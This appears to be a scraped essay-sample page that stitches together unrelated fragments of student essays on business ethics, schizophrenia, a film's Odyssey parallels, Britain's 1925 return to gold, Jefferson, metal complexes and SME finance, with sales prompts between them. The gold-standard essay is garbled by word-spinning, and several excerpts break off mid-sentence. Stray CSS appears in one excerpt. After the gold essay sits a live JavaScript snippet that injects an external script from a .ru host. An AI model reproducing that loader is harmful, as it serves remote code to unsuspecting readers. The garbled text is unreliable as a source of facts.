Douglasian Cultural Model in Indian Context - 2161 Words

Comment Form for Assessed Work Introduction Today’s world is being dominated by daily innovations in technology and increasing globalization which helps organizations to spread and to operate globally in a successful way. Every organisation operating at a global level is trying to improve their financial profits. The success of such organizations greatly depends on their workforce and their decision-making capabilities. Many times the ethicality of such decisions have been questioned because of the profit driven strategies of these organizations. As Nobel Prize winner economist Milton Friedman quotes, â€Å"An executive’s responsibility generally will be to make as much money as possible while conforming to their basic†¦show more content†¦Also the article studies the ethical practices of different types of companies and business entities to understand the business ethics beyond large private corporations with respect to all the four solidarities of CT. The article debates about the dynam icity of ethical decision-making by citing the examples of all the solidarities existing in different Indian corporations. Also it talks over about the historical and philosophical background for the adoption of different ethical strategies by different corporations. Weaknesses The article explains the process of ethical decision-making in business from a ‘Douglasian Cultural Theory’ perspective only. The article does not identify many other factors beyond culture that may account for differences in work behaviour across nations. Scholars like Parboteeah and Cullen (2003) have suggested the need to include noncultural factors to isolate the influence of culture on ethical behaviour. Also many scholars have talked about the other personal characteristics like education, age, gender and religion that affect the ethical decision-making but they have not put any light on this part in the article. According to Kracher, Chatterjee and Lundquist, education plays an important and positive role in one’s ethical decision-making. Also Singhapakdi et al.: JBE (1996) talk about the relationship between ethical sensitivity and age being significantly positive. Ameen, et al., (1996) suggests that ethical

Schizophreni A Psychological Disorder - 1495 Words

Schizophrenia is a mental disorder that became prominent within the 1900 s characterized by various positive, negative, and cognitive symptoms. Coined in 1908 by Paul Bleuler, it is a prominent entry within the DSM and is prevalent throughout the world. It affects both males and females rather equally, though there are slight variations in its mean age of development. Regardless, schizophrenia is a seriously debilitating psychological disorder that is highly heritable, produces a wide range of symptoms, affects 1.1% of the United States population, is often characterized by attacks and episodes, and is currently treated most prevalently with dopaminergic inhibitors. The wide range of symptoms characteristic of schizophrenia are†¦show more content†¦Finally, negative symptoms are those which specifically inhibit otherwise normal functioning. These generally cause a lessening of otherwise healthy feelings, thoughts, and behaviors. Negative symptoms can include a flat affect, anhedonia (loss of joy in activities), and a regression of sustained, planned activities such as brushing ones teeth. These symptoms generally develop first within schizophrenics, and are more problematic than one may think. Personal hygiene and enjoyment of both social and recreational activities are important indicators of general wellbeing. These symptoms are not always constant within effected individuals - often times they fluctuate over periods of time. This tends to culminate, in some people, as schizophrenic attacks or episodes. These attacks are usually periods of time in which symptoms are at the most severe levels relative to the victim’s normal symptoms. Even the attacks themselves, though, do not always have a specified pattern or constant level or symptom severity. In some cases, each attack increases in symptomatic severity while the time in between attacks are characterized by higher symptom levels relative to previous non-attack intervals. It is fortunate th at the converse of such a situation can also occur. Some patients will only have a single attack and experience little distress or disruption from daily life afterwards. Others will never have attacks at all and could either have a significantly slower

Dirt Bikes Free Essays

Selected Financial Data We have provided a spreadsheet with three worksheets containing Dirt Bikes financial data for you to review [see Dirt Bikes Financial Data. xls]: Income statement and summary balance sheet data from 2007-2009 Annual sales of each Dirt Bikes model between 2005 and 2009 Total domestic vs. international motorcycle sales between 2005 and 2009 The income statement and balance sheet are the primary financial statements used by management to determine how well a firm is performing. We will write a custom essay sample on Dirt Bikes or any similar topic only for you Order Now The income statement, also called an operating statement or profit and loss statement, shows the income and expenses of a firm over a period of time, such as a year, a quarter, or a month. The gross profit represents the difference between the firm’s revenue (or sales) and the cost of goods sold. The gross margin is calculated by dividing gross profit by revenues (or sales). Net profit (or loss) is calculated by subtracting all other expenses, including operating expenses and income taxes from gross profit. Operating expenses are all business costs (such as expenditures for sales and marketing, general and administrative expenditures, and depreciation) other than those included in the cost of goods sold. Net margins are calculated by dividing net profit (or loss) by revenues (or sales). A balance sheet provides a snapshot of a company’s financial assets and liabilities on a given date, usually the close of an accounting period. It lists what material and intangible assets the business owns and what money the business owes either to its creditors (liabilities) or to its owners (shareholders’ equity, also known as net worth). We have included here are only the most important pieces of balance sheet data for you to review. At any given time a business’s assets equals the sum of its liabilities plus its net worth. Current assets include cash, securities, accounts receivable, or other investments that are likely to be converted into cash within one year. Current liabilities are debts that are due within one year. Long-term debt consists of liabilities that are not due until after a year or more. If too much debt has been used to finance the firm’s operations, problems may arise in meeting future interest payments and repaying outstanding loans. By examining a series of financial statements one can identify and analyze trends in the financial strength of a business. When examining Dirt Bikes’ income statement and balance sheet data, pay special attention to the company’s three-year trends in revenue (sales), costs of goods sold, gross margins, operating expenses, and net income (or loss). Pay attention to whether the company’s short and long-term liabilities are growing and whether they exceed assets. If a company has more current assets than current liabilities, it is a sign that it probably has enough working capital to fund investments in new equipment or information systems. The two other spreadsheets present motorcycle shipment data between 2005 and 2009, which can be used to gauge motorcycle sales. When examining these spreadsheets, pay attention to the trends in sales. This includes the sales trends for each product Dirt Bikes sells, overall sales trends, and the proportion of international to domestic sales. How to cite Dirt Bikes, Papers

O Brother Where Art Thou Argumentative Essay Example For Students

O Brother Where Art Thou? Argumentative Essay O Brother Where Art Thou? , begins with Ulysses, Pete and Delmar escaping from prison that was located in the middle of nowhere. Ulysses told his companions that he has hidden a treasure from back in the day, but they must get it in 4 days or it will be lost forever due to a flood. Soon Everett, Pete, and Delmar meet a blind soothsayer, who tells them, You seek a great fortune, you three who are now in chains. You will find a fortune, though it will not be the fortune you seek. But first first you must travel a long and difficult road, a road fraught with peril. After being betrayed and almost caught by the police, the fugitives drive along a country road, they pick up a young black guitarist named Tommy Johnson. After finding out that there was a man who was willing to pay you good money to just sing in his can, the whole gang raced up there and sang, no knowing that their song would be a number one hit and that everyone would not get enough of it. Tommy soon leaves the group, and the next day the three escapees are driving along when they see three beautiful women washing clothes at a river. We will write a custom essay on O Brother Where Art Thou? Argumentative specifically for you for only $16.38 $13.9/page Order now The three women behave seductively toward the men. Ulysses, Pete, and Delmar are captivated as the women sing the old folk lullaby. After the three men drink some whiskey from a jug, they fall asleep, and when Ulysses and Delmar awake, Pete is missing and the other two came in conclusion that Pete was in fact turn into a frog. Everett and Delmar go into the next town, where they run into a one-eyed giant of a man named Big Dan Teague, a Bible salesman. Big Dan goes on a rampage, knocks out both Everett and Delmar, and steals their money and their car. After recovering consciousness and got a ride into Ithaca where Ulysses encounters three of his daughters, and finds out that his wife Penny is getting married to another man tomorrow. Since it is a movie, it was setted in a third person narrative view throughout the whole movie. It The movie O Brother Where Art Thou? , is a more modern version of the famous story the Odyssey . There are a lot of people and events in the movie that significantly relates to the story. Well first of all the line, Sing to me of the man, Muse , was at the beginning of the film, as well in the Odyssey. In the movie, Ulysses meets an old and blind man who prophesizes that the treasure you seek shall not be the treasure you find. In the Odyssey, Odysseus goes to the underworld to seek the advice of Tiresias, an old and blind prophet, who tells him that his travels will not be over until he takes an oar and walks so far inland that someone asks him why he carries a winnowing-fan. The sheriff in the movie that wanted to catch him can be related to Poseidon in the story of the Odyssey. In addition to that when Ulysses mentions that Satan carries a giant hay fork also known as a trident both figures are often described with just such an instrument. In addition to that, the women, who lured the heroes with their singing, and treat him to corn liquor until he passes out where the sirens who did the same to Odysseus. The sirens also have an element of the Circe by appearing to transform one of his companions into an animal. The bible sales man, Big Dan Teague who had one eye obviously was the Cyclops in the Odyssey. .u43e3bc3fd01a17b93deaa7d114d46787 , .u43e3bc3fd01a17b93deaa7d114d46787 .postImageUrl , .u43e3bc3fd01a17b93deaa7d114d46787 .centered-text-area { min-height: 80px; position: relative; } .u43e3bc3fd01a17b93deaa7d114d46787 , .u43e3bc3fd01a17b93deaa7d114d46787:hover , .u43e3bc3fd01a17b93deaa7d114d46787:visited , .u43e3bc3fd01a17b93deaa7d114d46787:active { border:0!important; } .u43e3bc3fd01a17b93deaa7d114d46787 .clearfix:after { content: ""; display: table; clear: both; } .u43e3bc3fd01a17b93deaa7d114d46787 { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .u43e3bc3fd01a17b93deaa7d114d46787:active , .u43e3bc3fd01a17b93deaa7d114d46787:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .u43e3bc3fd01a17b93deaa7d114d46787 .centered-text-area { width: 100%; position: relative ; } .u43e3bc3fd01a17b93deaa7d114d46787 .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .u43e3bc3fd01a17b93deaa7d114d46787 .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .u43e3bc3fd01a17b93deaa7d114d46787 .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .u43e3bc3fd01a17b93deaa7d114d46787:hover .ctaButton { background-color: #34495E!important; } .u43e3bc3fd01a17b93deaa7d114d46787 .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .u43e3bc3fd01a17b93deaa7d114d46787 .u43e3bc3fd01a17b93deaa7d114d46787-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .u43e3bc3fd01a17b93deaa7d114d46787:after { content: ""; display: block; clear: both; } READ: art critque EssayAlthough in the original story Odysseus outwits the Cyclops, in the movie it was the total opposite and Teague was the one who outwits Ulysses. The scene of the Ku Klux Klan mob is an implication to Odysseus being a prisoner of the Cyclops. The Klansmen are preparing to hang a black man is basically when the Cyclops is preparing his dinner. Ulysses, Delmar and Pete don Klan robes as a disguise, in order to save him just as Odysseus dressed his men in sheepskins to fool the Cyclops. The character Tommy Johnson is similar to the role of Athena in the Odyssey, who secretly helps Odysseus during his journey. Each time Ulysses encounters Tommy, good luck follows. Tommy leads the trio to the radio station where they record their hit single. At one point of the movie, the 3 convicts meet a bank robber named of George Nelson. When they meet, Nelson is being chased by the police and in order to run away from them he shoots at a herd of cattle. This may be a reference to a scene in the book where Odysseus and his fellow travelers slaughter the cows of the sun god Helios. As Ulysses warns his men against killing the sacred oxen of the sun for food. For punishment, Ulysses ship is struck by a thunderbolt killing everyone but him. In O Brother Where Art Thou? George is executed in the electric chair. Near the end, Tommy floats on the roll-top desk in which Penny has told Ulysses her wedding ring can be found. In the Odyssey, Penelope swore only to marry a man who could shoot an arrow through twelve axes, a feat only ever performed by Odysseus. When none of the suitors could, Odysseus performed it disguised as an old man and claimed his wife and his kingdom in the end. In the Movie, the Soggy Bottom Boys remain anonymous while their song grows ever popular, and nobody can replicate it. When they play it, they are instantly recognized, as Odysseus was, and so they discard their disguises like him. Penny follows suit, taking Ulysses back by the end of the film. The Odyssey is one of my favorite stories of all time, and I am absolutely pleased with the movie O Brother Where Art Thou? Even though both masterpieces were brought into the public at different times they still share the same storyline as well as the theme.

Britain Return To Gold In 1925 Essay free essay sample

, Research Paper Economic History The Gold Standard, like the Exchange Rate Mechanism, ensures stable exchanges and economic subject. Why, so, was at that place so many unfavorable judgment of the return to gold in 1925? In March 1919, the big trade shortage and low degree of gold militias resulted in formal forsaking of the gold base by the UK. On Apr. 28, 1925, Churchill announced in his Budget address that there would be an immediate return to gold at pre-1913 para. Reddaway ( Lloyds Bank Review, 1970 ) expresses in his article that returning to gold at $ 4.76 was a failure of the commission that they had non done adequate research and had non hold adequate consideration and expression at other states apart from the US. The commission failed to take history of monetary values in any external state apart from USA and besides used the incorrect indices ( sweeping monetary value ) for their computation and therefore derived the incorrect consequence. We will write a custom essay sample on Britain Return To Gold In 1925 Essay or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page The policy proclamation in 1919 of the purpose of returning to pre-1913 gold criterion was tantamount to the proclamation of a contractionary pecuniary policy. Under flexible ER government of 1919-1925 contractionary pecuniary policy is expected to ensue in an appreciating of nominal ER, deflate the monetary value degree ( given high rate of rising prices after the First World War ) and bettering fight. However, because the ER is determined in an plus market that adjust comparatively rapidly, we would anticipate to detect an grasp of the existent ER in the short-term whereby the ER deviates from the PPP equilibrium. Harmonizing to Keynes? The Economic Consequences of Mr Churchill, when UK returns to gold in 1925, sterling was 10 % overvalued. To find the magnitude of overestimate Keynes used buying power para theory ( PPP ) which province that flexible exchange rate reflects motions in comparative monetary values between states. Matthews argue that exchange rate was non overvalued and exchange rate in 1925 reflected more forces of economic sciences cardinal than authorities intercession. This is due to the usage of supply-side theory of exchange rate. High replacing ratio as an index ( ensuing from generous benefit system ) increases search unemployment, coercing employers to offer up existent rewards to pull workers away from leisure: the exchange rate merely reflected the accommodation to supply-side dazes in the UK labor market, therefore no overestimate. To better UK fight, there need to be more flexibleness in the labor market. However, it is non clear that the replacing ratio had big impact on UK pay costs or unemployment. More research needs to be undertaken on these supply-side influences. Redmond ( 1984 ) presents a figure of comparings which suggest that PPP computations for the dollar and the lb in 1925 relation to 1913 scope from an undervaluation of 4 % to an overestimate of 17 % , depending on which type of monetary value index is used for comparing. Keynes? consequence of a 10 % overestimate is a particular result of the specific retail monetary value indices he used. Redmond suggest a more representative index of fight is the existent many-sided exchange rate, which measures both nominal exchange rate fluctuations and comparative monetary value motions for a broad sample of UK trading spouses. The tabular array below shows the consequence that the UK exchange rate was overvalued in 1925 by between 5 and 20 % : merely the magnitude depends on the type of monetary value index used. Multilateral existent effectual ER for the lb, 1924-30 ( 1913=100 ) Deflating by sweeping pricesDeflating by retail monetary values 192495.283.4 192594.879.6 192692.073.8 192797.381.5 192898.581.9 1929101.384.9 1930103.587.2 Beginning: Redmond ( 1984 ) However, we have to hold in head that a figure of UK trading spouses were non on gold during this period. Furthermore, existent exchange rate within gilded state might hold varied as a consequence of differential monetary value and productiveness motions across states. Furthermore, Solomou and Catao ( 1994 ) , show that 1913 represents a low point on the degree of the existent effectual exchange rate during the period 1870-1913. Does overestimate affair? Increase in greatest monetary value of export means a decrease in our fight. Eichengreen ( 1986 and 1992 ) surveies a cross-section of 12 states during 1921-1927 including UK and found that there is extended grounds of overestimate in the UK, Germany and Norway. This is shown by the degree of fight as measured by the existent ER. gt ; In the instance of the UK, given the inauspicious effects of the First World War ( in footings of a loss of markets ) it would look reasonable to reason that for the UK to keep international fight in the 1920s, a depreciated ER would hold been a necessary characteristic of a more successful UK cyclical recovery. Depression, nevertheless have hysteresis consequence, returning to gold at pre-1913 para make the state suffered a relentless inauspicious end product consequence in the effort to re-establish the old para. Harmonizing to Keynes, if the authorities admit that the job of overestimate is chiefly a pecuniary one and state to labor that return to gold at $ 4.76 is non attack on existent rewards and can do money pay have to fall by 10 % to counterbalance an addition if? by 10 % , or there is an addition in productiveness, there would hold been no job. This besides means that when the accommodation is complete, the cost of populating would fall approximately 10 % . He suggests two alternate ways of conveying about the decrease of money rewards. First, by apply economic force per unit area and to escalate unemployment by recognition limitation, until rewards are forced down. This will be hard since decrease in money pay means lower criterion of life if other industries don? T cut down their money pay to diminish cost of life. Furthermore, those that are subjective to decrease in money pay foremost are non guarantee to be compensated subsequently by lower cost of life and hence they will defy e very bit long as they can. Second, this will consequence a unvarying decrease of rewards, by understanding. Our export industries are enduring because they are the first to be asked to accept the 10 % decrease of their money pay. The tight pecuniary conditions of 1925-31 were a effect of force per unit area on the exchanges that showed itself by an exchange rate that was often below par. There was an inauspicious consequence on current history, but this is non the chief factor that creates force per unit area on exchange place. Fiscal establishments at place and abroad were what mattered, as current history was hard to see clearly. In 1914, overseas-owned London sedimentations and measures were matched by the sum of short term debts. The fact Britain was non in the place of borrowing short to impart long was due to the ability of the Bank of England to support the place of London with comparatively low gold modesty. By the mid-twentiess, London was no longer the natural home ground of the balances associates with such a big proportion of trade. It? s balance sheet place had deteriorated so that the short-run debts of aliens were merely half of the short-run assets of abroad holders in London ( M gt ; X ) . The export of capital exceeds the positive excess that on the balance of payments current history, and had to be financed by attractive force of the short-run financess. Wright says in his article that the alteration in para led to an inchoate export of capital even without bad effects because of the addition in monetary value. However, the disequilibrium should set, greatest monetary value of British capital should fall taking to a autumn in measure subsequently. Although there is no relevant information for this, he says, the consequence via monetary values of the comparative attraction of existent assets in Britain and overseas can non be ignored peculiarly in relation to U.S. portions. Wright concluded that there were some inauspicious effects due to the overestimate. The failing of lb was a effect of a alteration in the balance-sheet of London and of capital escape. How far it was aggravated by the effects of grasp on current history was less clear. Despite the seemingly high degree of unemployment there was a growing in the figure of individuals employed of 1.25m between 1925 and 1929. Growth of GNP in the same period, 12.5 % , was non negligible by British criterions. However, it was clearly lower so in the USA and several other states. The events of the mid-twentiess may non look so evidently to be the consequence of one ingredient in the economic policy of that period. It was the structural job that seem to co-occur with the impairment of the chief industries In decision, there was decidedly an overestimate when the British return to gold and there were relentless inauspicious effects due to this. The inauspicious consequence, nevertheless, can non be blamed on overestimate entirely, but besides on structural jobs of the chief industries, shortermism of fiscal establishments, low productiveness and pay rigidness. There does non be a successful function theoretical account that UK should follow. Neither big depreciation ( taking to high rising prices ) nor returning to the pre-1913 paras were appropriate responses. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;

Jeffersons Views On Education Essays - Thomas Jefferson

Jefferson's Views On Education Essays - Thomas Jefferson Jefferson's Views On Education Thomas Jeffersons Views on Education Thomas Jefferson believed that universal education would have to precede universal suffrage. The ignorant, he argued, were incapable of self-government. But he had profound faith in the reasonableness and teachableness of the masses and in their collective wisdom when taught. He believed that the schools should teach reading, writing, and arithmetic. Also, the children should learn about Grecian, roman, English, and American History. Jefferson believed the nation needed public schools scattered around, for all male citizens to receive free education. By 1789, the first law was passed in Massachusetts to reaffirm the colonial laws by which towns were obligated to support a school. This law was ignored. Private schools were opened only to those who could afford to pay them. In the middle states religious groups opened most schools. Not many schools or institutions were opened to the nonwealthy people. The women, blacks, and Indians were not able to go to school. It was not until the early 1900s that the Nation began making academies for females, because government thought that they needed to be educated mothers to educate their children. Jefferson believed in the Republican Mother. Later, many 19th century reformers believed in the power of education to reform and redeem- to release a blame or debt, to buy back- backward people. As a result, they generated a growing interest in Indian Education. Jefferson and his f ollowers believed that the Native Americans were noble savages, they hoped that schooling the Indians in white culture would uplift- to improve the spiritual, social, or intellect condition- the tribes. But the states and local government did little to support education. Unlike the women and Indians, blacks had no support at all. There were no efforts to educate enslaved African Americans, mostly because their owner preferred that they remain ignorant and this presumably less likely to rebel. By 1815 there were 30 secondary private schools in Massachusetts, 37 in New York, and many others scattered all around the nation. They were mostly aristocratic; they were not many that were public. Higher education similarly diverged from Republican ideals. The number of colleges and universities in America grew substantially; they went from nine of the time of the Revolution, to twenty-two in 1800, and after that increased steadily. Scarcely more than one white man in a thousand, had access to any college education, and those few who did attend universities were almost without exception members of prosperous, propertied families. Jefferson strongly believed that the nations future depended, in great part, on the nations education. He said in 1782, Every government degenerates when trusted to the rulers of the people alone. The people themselves, therefore, are its only safe depositories. And to render even them safe, their minds must be improved to a certain degree. He believed that in order for people to trust the people who are in charge of their government, they need to have some kind of education, to be able to make decisions based on their knowledge. Jefferson also believed that there wasnt any freedom without education. He said, If a nation expects to be ignorant and free, in a civilization, it expects what it never was and never will be. By this, he means that in order for the people to want a free nation and expect for great things to happen, they need to have some education. If they dont want an education, then they are just going to always dream and never get anywhere. The Connecticut school master and lawyer Noah Webster, said that the American schoolboy should be educated as a nationalist. As soon as he opens his lips, Webster wrote, he should rehearse the history of his own country. Every citizen was to be educated to some degree. For the less wealthy people, to also have some education. Jefferson believed that the nation really needed to have schools. He wanted for the poor and rich to have some kind of Education, not only for themselves, but also for the nations future.

Biological Importance of Metal Complexes of Pyrimidine-2-Thione Research Paper

Biological Importance of Metal Complexes of Pyrimidine-2-Thione - Research Paper Example Mo205L2(H2O)2.H2O (1)preparation. (5cm3)Aqueous solution of (NH4)2(MoO4) which is 0.24g and 1.0mmol respectively is added to LH solution in 25cm3 of EtOH (Speziale, 1963). The resultant slurry is subjected to heat, and the resultant solution, orange in color, is refluxed for duration of 4hours (Harris & Bertolucci, 1989). In this time duration, orange precipitate is realized (Foster & Snyder, 1963). The solid is then collected through filtration, immediately thereafter washed in 2cm3 of ethanol and diethyl ether, and then dried through vacuo (Wells, 1984). The yield is 35%, based on metal (Podson & King, 1945). Elemental analytical computation for the C8H16N8O10S2Mo: S, 10.00; C, 15.00; N, 17.50; H, 2.50%; illustrate that N, 17.51; C, 14.98; N, 17.51; H, 2.82; and AM(DMSO) 3 S cm2per mol (Greenwood & Earnshaw, 1997).  W2O5L2(H2O)2.H2O (2) preparation (Anthony, 2007). This uses (NH4)2(WO4) and uses the same method applied in the first procedure (Peter, 2003). In this procedure, a br ight yellow substance is isolated (Petricci et al, 2002). The yield is 50% metal based (Housecroft & Sharpe, 2005). The elemental analytical computation for C8H16N8O10S2W: H, 1.96; S, 7.85; C, 11.77; N, 13.73%, indicates that C, 11.62; S, 7.95; N, 13.77; H, 1.90%; and AM(DMSO) 2 S cm2per mol (Cotton et al, 1999).   In analyzing the antimicrobial activity; the bacterial strains were cultured in the nutrient agar slants (De Vito et al, 2005).

Project 1 Assignment Example | Topics and Well Written Essays - 500 words

Project 1 - Assignment Example Ans3. The economic-benefit component consists of two variables namely delayed costs and avoided costs. Avoided costs were the maintenance or the operational expenses that were to be incurred but were avoided. Whereas, delayed costs are the ones which were postpones by the violation but will be incurred to attain compliance. On the other hand, gravity based component are the penalties over and above the economic benefit. The gravity based component is more effective because in this way businesses will be encouraged to self-police and not to violate. Ans4. The conditions are that the discovery of violation must be through environmental audits or EMS- Environmental management system; Discovery of violation must be voluntarily; agreement of taking steps for preventions should be there. The violation must be disclosed within 20 days after the discovery to EPA. Within 60 days, the violation must be corrected. Ans5. We have learned the ways of conducting business ethically and this article highlights some rules and regulations that regulate the businesses and their environment. It keeps a check and balance that humanity and environment should not be harmed in the process. EPA’s incentives would help the businesses to be proactive from the start and they would not end up violating the rules, thus doing business ethically. Ans6. The main aim of any business is profit maximization. If the penalties hinder this objective then they will definitely make sure not to violate the rules. Moreover, in order to have a good image they will fulfill their corporate social

Toyota outsourcing and offshoring analysis Essay

Toyota outsourcing and offshoring analysis - Essay Example India and many other countries and has recreated its management philosophy, work methods and adherence to productivity. This paper examines the methodology behind the off shoring and outsourcing that the company has introduced and also discusses how these practices follow the theories of Dunning and Hymer. Fang (2003) has suggested that the famed Toyota Production System (TPS) that was established by the famous Taiichi Ohno has been applied to all aspects of the outsourcing model. The authors have defined Off shoring as the relocation or creating afresh, the infrastructure and processes from one country to another. Off shoring may be utilized for the transplanting of production, services, backend services, call centre operations, help desk support and other business functions. Outsourcing is the process of procuring core and non core business function and services from suitable vendors. The term outsourcing includes parts ad spares manufacturing, procurement of raw materials, finished goods, apparel, automobile components, outsourcing of intellectual work such as market research and others. According to the Paul (et all, 2005), when Toyota decides to offshore manufacturing base in another country, it either opens a fully owned company if the rules of the foreign country permit or it may decide to take a partnership with a like minded partner who values the principles of Toyota manufacturing company. Other than recreating the manufacturing process by buying machines and testing equipment, the company extends the TPS model to cover other areas such as maintaining a flat corporate structure that empowers individuals to strive for excellence, hiring practices that favour the young and inexperience but who can be moulded to easily adapt to new trends, teamwork where each member helps the other in achieving goals, establishing two way open communications where people are urged to speak about their problems; non-monetary awards

Study On The Financial Sources For SMEs

Study On The Financial Sources For SMEs Introduction SMEs are those industries, which are unquoted in a stock exchange, run by few individuals or a type of family businesses having connection with shareholders. According to South West Venture Fund, SME is a company or business that has less than 250 employees and has an annual turnover not exceeding approximately  £24 million. SME sector is very large in UK economy. There are 3.7 million businesses in UK according to the survey conducted in 2003 by Department of Trade and Industries (DTI) and 99% of those are small and medium sized and survey also suggested that UK gains 50% of its total turnover from SME sector. On the other hand according to the report of HM Treasury 2008 there are 4.7 million SMEs in the UK and are responsible for more than 52 per cent of total UK business turnover. Therefore it can be seen that SMEs have an important role to play to drive UK growth and the average productivity of SMEs has increased in the last ten years. On the other hand SMEs are struggling in accessing to finance whereas there are many sources of finance available in UK. The main problem with SMEs to obtain finance is that of uncertainty. Investors most of the time dont rely on SMEs in investing because SMEs does not have a long track record of success. Banks are quite nerves of SMEs to investment because SMEs represent high credit risk. The problem is, banks are not increasing the loan amount without increasing security given and most of the SME owners are unable to provide security. There are many SMEs without tangible assets to use as a security for all lenders. All the financial sources for SMEs are listed below with brief description. Business Angles Business angles are private individuals who invest their own assets in SME or start-up businesses. Business angles also share their personal business experience with other entrepreneurs. LBA (London Business Angles) provides great services to innovative starting-up businesses who seeks the capital more than  £100 k for their future growth. London Business Angle runs by Greater London Enterprise (GLE). The main reason behind investing by business angles is that they are very experienced and successful entrepreneurs and they not only provide finance they also train new business through sharing their experience. The fact on the other hand is only few companies can find business angles, LBA receive 1000 business plan and after the whole selection procedure only 42 business have been invited to invest with. Another group of business angles BBAA (British Business Angles Association) is also working to provide financial help to early stage businesses. Every year private individual or these business angles invest between  £800 million to  £1 billion in starting-up business and SMEs. Overdraft Financing Overdraft financing is another most popular way of accessing to finance for SMEs. In overdraft financing, payments are made from the current account of business when the amount exceeds the available balance. Through the overdraft facility business gets short-term funds whereas the amount which is loaned is repayable according to the bank demand. There are some benefits of overdraft facilities such as the borrowed amount can be changed within the limit and interest is only payable on the amount borrowed. The main disadvantages of overdrafts are, bank can ask to pay back the money very sooner than expected time, overdraft limit can be changed at any time by the bank, overdraft facility cannot be used if large amount is needed and the interest rate is higher than the bank loan. Some other factors must be considered when using overdraft facility to obtain finance. Such as the amount that is borrowed should not go beyond the given or agreed limit, interest also differs according to the am ount borrowed and the interest rate is higher than the bank base rate , sometime bank can charge the overdraft fee and finally overdraft cannot be obtained for long term. One more difficulty for SMEs to obtain finance through overdraft is SMEs can be asked to provide some kind of security depending on the size of overdraft facility. Security may be of any type for an example it can be tangible fixed assets or personal guarantees given by company directors. Venture Capital Venture capital provides long-term, committed share capital, to help unquoted companies grow and succeed. If an entrepreneur is looking to start-up, expand, buy-into a business, buy-out a business in which he works, turnaround or revitalise a company, venture capital could help do this. Obtaining venture capital is substantially different from raising debt or a loan from a lender. Lenders have a legal right to interest on a loan and repayment of the capital, irrespective of the success or failure of a business . Venture capital is invested in exchange for an equity stake in the business. As a shareholder, the venture capitalists return is dependent on the growth and profitability of the business. This return is generally earned when the venture capitalist exits by selling its shareholding when the business is sold to another owner. Venture capital in the UK originated in the late 18th century, when entrepreneurs found wealthy individuals to back their projects on an ad hoc basis. This informal method of financing became an industry in the late 1970s and early 1980s when a number of venture capital firms were founded. There are now over 100 active venture capital firms in the UK, which provide several billion pounds each year to unquoted companies mostly located in the UK. REVIEW OF LITERATURE Introduction It being any country, small and medium enterprises has become an integral part of it and provides remarkable contribution to its economy. SMEs play a pivotal role in job creation and in progress of country. Like UK, many countries now understand the importance of small business and started to diversify it for job creation and also for the long term development of the countrys economy. . SMEs constitute the majority of economies around the world, these highly contribute in private sector and one of which seems to be growing in folds with time. According to the reports of Bank of England (2003), approximately 54% of the total value is added by small and medium firms in the UK. In fact, in some sectors SMEs have contributed more than larger firms Entrepreneur and Entrepreneurship The word entrepreneur has been defined numerous times by the researchers in their research. There is no specific definition of entrepreneurship but there is a generally accepted definition which highlights its significant contribution in the growth of economy. An entrepreneur has the ability to provide momentum for the change, innovation in the traditional strategies and approach. They always try to introduce new ideas in the business market. Entrepreneur is someone who can gauge the financial risk during the business startup and has the ability to capitalize the opportunity of benefit of an enterprise. Besides, various researchers have determined different characteristics of an entrepreneur. For instance, according to Adler, 2002; Aldrich, 1989; Alstete, 2003; Anderson et al, 1992; Anna et al, 1999, an entrepreneur is very creative, skilful, innovative and always keen to explore new ideas and strategies. While, according to others the traits are Hunger for achievement Desire of total control Need of independence and leadership Low traditionalism Risk taker Dominance Moreover, Yonekura in 1984 suggested the characteristics like assertiveness, insistence, forward looking, critical thinking, creative, innovative, broad minded, creative etc. On the other hand, Burk (2002) proposed that optimistic, hard working and desire to achieve are the qualities which are common in entrepreneurs. There are various reasons for people to choose entrepreneurship and start their own business. This area has also been widely researched (Walker, 2004). Result of most of the studies done in this area show that people are motivated by personal and financial reasons like achievement need, independence, and the creation of wealth (Bird, 1989; Birley and Westhead, 1994; Burns, 1996; Hisrich, 1986; Kuratko et al., 1997). Generally, most of the studies suggest that personal internal reasons are more important motivations as compared to financial reasons in going into entrepreneurship (Gray, 1993). Despite of the above mentioned reasons, his/her present job situation also plays an important part and can influence them for business adoption. According to the Moore and Buttner (1997), unfavorable conditions experienced within the organization, for instance- lack of opportunities and less salary may also push them to start their own business. Furthermore, people who are jobless are also sometimes forced to become entrepreneurs (Still and Guerin, 1991), even though the clarity of the entry of business and its form are not that clear to them at the start (Praag, 2003; Vodopivec, 1998; Walker, 2004; Walker and Brown, 2004; Burke et al., 2002; Burns, 1996; Buttner Moore, 1997; - Process Involved in Business Start up Over the period of time remarkable changes have taken place in the work environment and culture of small and medium enterprises. The failure or the success of any organization depends upon the initial or the kick off stage of the business. The start up of any business activity depends upon the manner or the way in which the business makes arrangements or provisions of funds. The growth of the firm is the most important aspect and has to be done with taking care so that it can grow up to its full potential (Carter et. al., 1996; Carter Anderson, 2001; Carter Cannon, 1988; Chaganti Parasuraman, 1996; Cliff, 1998). Steps involved in the start up of any business activity can be classified as under:- Business Start up:- The theoretical aspects behind the set up or start up of any business are quite different from the practical ones which can be classified as under:- The creation of an idea Theory:- The start-up of the business by the entrepreneur begins with the setting of an idea. Idea is the stepping stone on which the business relies and most of the aspects of the business are considered in the initial idea itself. There are pros and corns to everything and in the business set-up the setting of idea itself leads to the 